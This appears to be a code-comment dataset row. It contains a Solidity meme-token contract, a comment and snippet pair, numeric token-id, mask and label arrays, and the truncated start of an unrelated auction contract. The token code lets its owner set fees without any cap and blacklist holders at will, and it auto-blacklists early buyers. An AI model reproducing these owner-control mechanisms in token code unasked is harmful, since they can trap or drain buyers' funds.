returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 9; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract Ovcharka is ERC20, Ownable { using SafeMath for uint256; address public constant DEAD_ADDRESS = address(0xdead); IUniswapV2Router02 public constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uint256 public buyLiquidityFee = 2; uint256 public sellLiquidityFee = 4; uint256 public buyTxFee = 10; uint256 public sellTxFee = 16; uint256 public tokensForLiquidity; uint256 public tokensForTax; uint256 public _tTotal = 10**9 * 10**9; // 1 billion uint256 public swapAtAmount = _tTotal.mul(10).div(10000); // 0.10% of total supply uint256 public maxTxLimit = _tTotal.mul(75).div(10000); // 0.75% of total supply uint256 public maxWalletLimit = _tTotal.mul(150).div(10000); // 1.50% of total supply address public dev; address public uniswapV2Pair; uint256 private launchBlock; bool private swapping; bool public isLaunched; // exclude from fees mapping (address => bool) public isExcludedFromFees; // exclude from max transaction amount mapping (address => bool) public isExcludedFromTxLimit; // exclude from max wallet limit mapping (address => bool) public isExcludedFromWalletLimit; // if the account is blacklisted from transacting mapping (address => bool) public isBlacklisted; constructor(address _dev) public ERC20("Ovcharka Inu", "Ovcharka") { uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), type(uint256).max); // exclude from fees, wallet limit and transaction limit excludeFromAllLimits(owner(), true); excludeFromAllLimits(address(this), true); excludeFromWalletLimit(uniswapV2Pair, true); dev = _dev; /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(owner(), _tTotal); } function excludeFromFees(address account, bool value) public onlyOwner() { require(isExcludedFromFees[account] != value, "Fees: Already set to this value"); isExcludedFromFees[account] = value; } function excludeFromTxLimit(address account, bool value) public onlyOwner() { require(isExcludedFromTxLimit[account] != value, "TxLimit: Already set to this value"); isExcludedFromTxLimit[account] = value; } function excludeFromWalletLimit(address account, bool value) public onlyOwner() { require(isExcludedFromWalletLimit[account] != value, "WalletLimit: Already set to this value"); isExcludedFromWalletLimit[account] = value; } function excludeFromAllLimits(address account, bool value) public onlyOwner() { excludeFromFees(account, value); excludeFromTxLimit(account, value); excludeFromWalletLimit(account, value); } function setBuyFee(uint256 liquidityFee, uint256 txFee) external onlyOwner() { buyLiquidityFee = liquidityFee; buyTxFee = txFee; } function setSellFee(uint256 liquidityFee, uint256 txFee) external onlyOwner() { sellLiquidityFee = liquidityFee; sellTxFee = txFee; } function setMaxTxLimit(uint256 newLimit) external onlyOwner() { maxTxLimit = newLimit * (10**9); } function setMaxWalletLimit(uint256 newLimit) external onlyOwner() { maxWalletLimit = newLimit * (10**9); } function setSwapAtAmount(uint256 amountToSwap) external onlyOwner() { swapAtAmount = amountToSwap * (10**9); } function updateDevWallet(address newWallet) external onlyOwner() { dev = newWallet; } function addBlacklist(address account) external onlyOwner() { require(!isBlacklisted[account], "Blacklist: Already blacklisted"); require(account != uniswapV2Pair, "Cannot blacklist pair"); _setBlacklist(account, true); } function removeBlacklist(address account) external onlyOwner() { require(isBlacklisted[account], "Blacklist: Not blacklisted"); _setBlacklist(account, false); } function launchNow() external onlyOwner() { require(!isLaunched, "Contract is already launched"); isLaunched = true; launchBlock = block.number; } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "transfer from the zero address"); require(to != address(0), "transfer to the zero address"); require(amount <= maxTxLimit || isExcludedFromTxLimit[from] || isExcludedFromTxLimit[to], "Tx Amount too large"); require(balanceOf(to).add(amount) <= maxWalletLimit || isExcludedFromWalletLimit[to], "Transfer will exceed wallet limit"); require(isLaunched || isExcludedFromFees[from] || isExcludedFromFees[to], "Waiting to go live"); require(!isBlacklisted[from], "Sender is blacklisted"); if(amount == 0) { super._transfer(from, to, 0); return; } uint256 totalTokensForFee = tokensForLiquidity + tokensForTax; bool canSwap = totalTokensForFee >= swapAtAmount; if( from != uniswapV2Pair && canSwap && !swapping ) { swapping = true; swapBack(totalTokensForFee); swapping = false; } else if( from == uniswapV2Pair && to != uniswapV2Pair && block.number < launchBlock + 2 && !isExcludedFromFees[to] ) { _setBlacklist(to, true); } bool takeFee = !swapping; if(isExcludedFromFees[from] || isExcludedFromFees[to]) { takeFee = false; } if(takeFee) { uint256 fees; // on sell if (to == uniswapV2Pair) { uint256 sellTotalFees = sellLiquidityFee.add(sellTxFee); fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity = tokensForLiquidity.add(fees.mul(sellLiquidityFee).div(sellTotalFees)); tokensForTax = tokensForTax.add(fees.mul(sellTxFee).div(sellTotalFees)); } // on buy & wallet transfers else { uint256 buyTotalFees = buyLiquidityFee.add(buyTxFee); fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity = tokensForLiquidity.add(fees.mul(buyLiquidityFee).div(buyTotalFees)); tokensForTax = tokensForTax.add(fees.mul(buyTxFee).div(buyTotalFees)); } if(fees > 0){ super._transfer(from, address(this), fees); amount = amount.sub(fees); } } super._transfer(from, to, amount); } function swapBack(uint256 totalTokensForFee) private { uint256 toSwap = swapAtAmount; // Halve the amount of liquidity tokens uint256 liquidityTokens = toSwap.mul(tokensForLiquidity).div(totalTokensForFee).div(2); uint256 taxTokens = toSwap.sub(liquidityTokens).sub(liquidityTokens); uint256 amountToSwapForETH = toSwap.sub(liquidityTokens); _swapTokensForETH(amountToSwapForETH); uint256 ethBalance = address(this).balance; uint256 ethForTax = ethBalance.mul(taxTokens).div(amountToSwapForETH); uint256 ethForLiquidity = ethBalance.sub(ethForTax); tokensForLiquidity = tokensForLiquidity.sub(liquidityTokens.mul(2)); tokensForTax = tokensForTax.sub(toSwap.sub(liquidityTokens.mul(2))); payable(address(dev)).transfer(ethForTax); _addLiquidity(liquidityTokens, ethForLiquidity); } function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, DEAD_ADDRESS, block.timestamp ); } function _swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _setBlacklist(address account, bool value) internal { isBlacklisted[account] = value; } receive() external payable {} }
exclude from fees, wallet limit and transaction limit
function _beforeTokenTransfer( address from, address to, uint256 amount } constructor(address _dev) public ERC20("Ovcharka Inu", "Ovcharka") { uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), type(uint256).max); excludeFromAllLimits(owner(), true); excludeFromAllLimits(address(this), true); excludeFromWalletLimit(uniswapV2Pair, true); dev = _dev; _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again _mint(owner(), _tTotal);
440,024
[ 1, 10157, 628, 1656, 281, 16, 9230, 1800, 471, 2492, 1800, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 5771, 1345, 5912, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 3844, 203, 97, 203, 203, 565, 3885, 12, 2867, 389, 5206, 13, 1071, 4232, 39, 3462, 2932, 51, 90, 343, 1313, 69, 657, 89, 3113, 315, 51, 90, 343, 1313, 69, 7923, 288, 203, 203, 3639, 640, 291, 91, 438, 58, 22, 4154, 273, 467, 984, 291, 91, 438, 58, 22, 1733, 12, 318, 291, 91, 438, 58, 22, 8259, 18, 6848, 1435, 2934, 2640, 4154, 12, 2867, 12, 2211, 3631, 640, 291, 91, 438, 58, 22, 8259, 18, 59, 1584, 44, 10663, 203, 3639, 389, 12908, 537, 12, 2867, 12, 2211, 3631, 1758, 12, 318, 291, 91, 438, 58, 22, 8259, 3631, 618, 12, 11890, 5034, 2934, 1896, 1769, 203, 203, 203, 3639, 4433, 1265, 1595, 12768, 12, 8443, 9334, 638, 1769, 203, 3639, 4433, 1265, 1595, 12768, 12, 2867, 12, 2211, 3631, 638, 1769, 203, 3639, 4433, 1265, 16936, 3039, 12, 318, 291, 91, 438, 58, 22, 4154, 16, 638, 1769, 203, 203, 3639, 4461, 273, 389, 5206, 31, 203, 203, 5411, 389, 81, 474, 353, 392, 2713, 445, 316, 4232, 39, 3462, 18, 18281, 716, 353, 1338, 2566, 2674, 16, 203, 5411, 471, 385, 16791, 506, 2566, 14103, 3382, 203, 3639, 389, 81, 474, 12, 8443, 9334, 389, 88, 5269, 1769, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.4; import "../CommonContract/AuctionityInternalDelegates_V1.sol"; import "../CommonContract/SafeMath.sol"; import "../CommonContract/SafeMath96.sol"; import "../CommonContract/SafeMath32.sol"; import "../CommonContract/SafeMath16.sol"; import "../CommonContract/SafeMath8.sol"; contract AuctionityAuctions_V1 is AuctionityInternalDelegates_V1 { using SafeMath for uint256; using SafeMath96 for uint96; using SafeMath32 for uint32; using SafeMath16 for uint16; using SafeMath8 for uint8; bytes32 private constant AUCTION_TYPE_SLOT = keccak256("auction.type"); bytes32 private constant AUCTION_TYPE_ENGLISH = keccak256("auction.type:english"); bytes32 private constant AUCTION_SELLER_SLOT = keccak256("auction.seller"); bytes32 private constant AUCTION_TOKENS_SLOT = keccak256("auction.tokens"); bytes32 private constant AUCTION_CURRENCY_SLOT = keccak256("auction.currency"); bytes32 private constant AUCTION_TIME_BEGIN = keccak256("auction.time.begin"); bytes32 private constant AUCTION_TIME_END = keccak256("auction.time.end"); bytes32 private constant AUCTION_INITIAL_TIME_END = keccak256("auction.initial.time.end"); bytes32 private constant AUCTION_ANTISNIPPING_TRIGGER = keccak256("auction.antisnipping.trigger"); bytes32 private constant AUCTION_ANTISNIPPING_DURATION = keccak256("auction.antisnipping.duration"); bytes32 private constant AUCTION_BID_INCREMENT = keccak256("auction.bid.increment"); bytes32 private constant AUCTION_SPONSOR = keccak256("auction.sponsor"); bytes32 private constant AUCTION_REWARDS_COMMUNITY = keccak256("auction.rewards.community"); bytes32 private constant AUCTION_REWARDS_AUCTION_SPONSOR = keccak256("auction.rewards.auction.sponsor"); bytes32 private constant AUCTION_REWARDS_BID_SPONSOR = keccak256("auction.rewards.bid.sponsor"); bytes32 private constant AUCTION_REWARDS_BID_AUCTIONEER = keccak256("auction.rewards.bid.auctioneer"); bytes32 private constant AUCTION_REWARDS_LAST_BID_SPONSOR = keccak256("auction.rewards.last.bid.sponsor"); bytes32 private constant AUCTION_REWARDS_COMMUNITY_AMOUNT = keccak256("auction.rewards.community.amount"); bytes32 private constant AUCTION_REWARDS_AUCTION_SPONSOR_AMOUNT = keccak256("auction.rewards.auction.sponsor.amount"); bytes32 private constant AUCTION_REWARDS_BID_SPONSOR_AMOUNT = keccak256("auction.rewards.bid.sponsor.amount"); bytes32 private constant AUCTION_REWARDS_BID_AUCTIONEER_AMOUNT = keccak256("auction.rewards.bid.auctioneer.amount"); bytes32 private constant AUCTION_REWARDS_LAST_BID_SPONSOR_AMOUNT = keccak256("auction.rewards.last.bid.sponsor.amount"); bytes32 private constant AUCTION_SELLER_AMOUNT = keccak256("auction.seller.amount"); bytes32 private constant AUCTION_TRANSFER_REWARDS_AUCTION_SPONSOR = keccak256("auction.transfer.rewards.auction.sponsor"); bytes32 private constant AUCTION_TRANSFER_REWARDS_LAST_BID_SPONSOR = keccak256("auction.transfer.rewards.last.bid.sponsor"); bytes32 private constant AUCTION_TRANSFER_REWARDS_BID_SPONSOR = keccak256("auction.transfer.rewards.bid.sponsor"); bytes32 private constant AUCTION_TRANSFER_REWARDS_BID_AUCTIONEER = keccak256("auction.transfer.rewards.bid.auctioneer"); bytes32 private constant AUCTION_TRANSFER_TOKENS = keccak256("auction.transfer.tokens"); bytes32 private constant AUCTION_TRANSFER_AMOUNT_TO_THE_SELLER = keccak256("auction.transfer.amount.to.the.seller"); bytes32 private constant AUCTION_CURRENT_AMOUNT = keccak256("auction.current.amount"); bytes32 private constant AUCTION_CURRENT_LEADER = keccak256("auction.current.leader"); bytes32 private constant AUCTION_BID_COUNT = keccak256("auction.bid.count"); bytes32 private constant AUCTION_BIDS_USER = keccak256("auction.bids.user"); bytes32 private constant AUCTION_BIDS_AMOUNT = keccak256("auction.bids.amount"); bytes32 private constant AUCTION_BIDS_SPONSOR = keccak256("auction.bids.sponsor"); bytes32 private constant AUCTION_BIDS_AUCTIONEER = keccak256("auction.bids.auctioneer"); bytes32 private constant AUCTION_BIDS_TIMESTAMP = keccak256("auction.bids.timestamp"); bytes32 private constant AUCTION_LAST_SPONSOR_FOR_BIDDER = keccak256("auction.last.sponsor.for.bidder"); bytes32 private constant AUCTION_ENDED = keccak256("auction.ended"); event LogAuctionCreateEnglish_V1( bytes16 auctionId, address currencyContractAddress, uint256 currencyId, uint256 currencyAmount, uint32 timeBegin, uint32 timeEnd ); event LogAuctionCreateEnglishBidding_V1( bytes16 auctionId, uint24 antisnippingTrigger, uint16 antisnippingDuration, uint256 bidIncrement ); event LogAuctionCreateEnglishReward_V1( bytes16 auctionId, address sponsor, uint8 rewardCommunity, uint8 rewardAuctionSponsor, uint8 rewardBidSponsor, uint8 rewardBidAuctioneer, uint8 rewardLastBidSponsor ); event LogAuctionCreateEnglishTokens_V1( bytes16 auctionId, address[] tokenContractAddress, uint256[] tokenId, uint256[] tokenAmount ); event LogBid_V1( bytes16 auctionId, uint256 bidIndex, address bidder, uint256 amount, uint256 minimal, address sponsor, address auctioneer ); event LogAntiSnippingTriggered_V1( bytes16 auctionId, uint32 timeEnd ); event LogAuctionClosed_V1( bytes16 auctionId, address winner, uint256 amount, uint32 timeEnd ); struct Token { address contractAddress; uint256 id; uint256 amount; } function getAuctionType_V1(bytes16 auctionId) public view returns (bytes32 auctionType) { bytes32 slot = keccak256(abi.encode(AUCTION_TYPE_SLOT, auctionId)); assembly { auctionType := sload(slot) } } function _setAuctionType_V1(bytes16 auctionId, bytes32 auctionType) internal { bytes32 slot = keccak256(abi.encode(AUCTION_TYPE_SLOT, auctionId)); assembly { sstore(slot, auctionType) } } function getAuctionSeller_V1(bytes16 auctionId) public view returns (address seller) { bytes32 slot = keccak256(abi.encode(AUCTION_SELLER_SLOT, auctionId)); assembly { seller := sload(slot) } } function _setAuctionSeller_V1(bytes16 auctionId, address seller) internal { bytes32 slot = keccak256(abi.encode(AUCTION_SELLER_SLOT, auctionId)); assembly { sstore(slot, seller) } } function getAuctionTokensCount_V1(bytes16 auctionId) public view returns (uint16 count) { bytes32 slot = keccak256(abi.encode(AUCTION_TOKENS_SLOT, auctionId)); assembly { count := sload(slot) } } function _setAuctionTokensCount_V1(bytes16 auctionId, uint16 count) internal { bytes32 slot = keccak256(abi.encode(AUCTION_TOKENS_SLOT, auctionId)); assembly { sstore(slot, count) } } function _getAuctionToken_V1(bytes16 auctionId, uint256 tokenIndex) internal view returns (Token memory token) { bytes32 slot = keccak256(abi.encode(AUCTION_TOKENS_SLOT, auctionId, tokenIndex)); assembly { mstore(token, sload(slot)) mstore(add(token, 0x20), sload(add(slot, 1))) mstore(add(token, 0x40), sload(add(slot, 2))) } return token; } function getAuctionTokenContractAddress_V1(bytes16 auctionId, uint256 tokenIndex) public view returns (address contractAddress) { return _getAuctionToken_V1(auctionId, tokenIndex).contractAddress; } function getAuctionTokenId_V1(bytes16 auctionId, uint256 tokenIndex) public view returns (uint256 id) { return _getAuctionToken_V1(auctionId, tokenIndex).id; } function getAuctionTokenAmount_V1(bytes16 auctionId, uint256 tokenIndex) public view returns (uint256 amount) { return _getAuctionToken_V1(auctionId, tokenIndex).amount; } function _setAuctionToken_V1(bytes16 auctionId, uint256 tokenIndex, Token memory token) internal { bytes32 slot = keccak256(abi.encode(AUCTION_TOKENS_SLOT, auctionId, tokenIndex)); assembly { sstore(slot, mload(token)) sstore(add(slot, 1), mload(add(token, 0x20))) sstore(add(slot, 2), mload(add(token, 0x40))) } } function _getAuctionCurrency_V1(bytes16 auctionId) internal view returns (Token memory currency) { bytes32 slot = keccak256(abi.encode(AUCTION_CURRENCY_SLOT, auctionId)); assembly { mstore(currency, sload(slot)) mstore(add(currency, 0x20), sload(add(slot, 1))) mstore(add(currency, 0x40), sload(add(slot, 2))) } return currency; } function getAuctionCurrencyContractAddress_V1(bytes16 auctionId) public view returns (address contractAddress) { return _getAuctionCurrency_V1(auctionId).contractAddress; } function getAuctionCurrencyId_V1(bytes16 auctionId) public view returns (uint256 id) { return _getAuctionCurrency_V1(auctionId).id; } function getAuctionCurrencyAmount_V1(bytes16 auctionId) public view returns (uint256 amount) { return _getAuctionCurrency_V1(auctionId).amount; } function _setAuctionCurrency_V1(bytes16 auctionId, Token memory currency) internal { bytes32 slot = keccak256(abi.encode(AUCTION_CURRENCY_SLOT, auctionId)); assembly { sstore(slot, mload(currency)) sstore(add(slot, 1), mload(add(currency, 0x20))) sstore(add(slot, 2), mload(add(currency, 0x40))) } } function getAuctionTimeBegin_V1(bytes16 auctionId) public view returns (uint32 time) 